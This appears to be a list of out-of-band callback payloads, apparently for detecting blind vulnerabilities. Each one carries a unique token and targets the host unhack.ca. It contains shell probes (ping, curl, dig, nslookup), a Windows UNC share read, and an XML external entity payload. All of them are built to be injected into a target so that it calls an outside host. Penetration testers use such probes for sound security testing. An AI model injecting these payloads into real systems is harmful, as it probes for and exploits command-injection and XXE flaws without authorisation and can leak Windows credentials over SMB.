$ ping -c1 -p 0026d74a20326813e118954553481800 unhack.ca
 

$ curl http://unhack.ca/p/26d74a20326813e1189545534818
 

$ dig 26d74a20326813e1189545534818 @unhack.ca
 

$ dig 26d74a20326813e1189545534818.ns.unhack.ca
 

C:\> nslookup 26d74a20326813e1189545534818 unhack.ca
 

C:\> type \\unhack.ca\26d74a20326813e1189545534818\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/26d74a20326813e1189545534818">]>
    <foo>&xxe;</foo>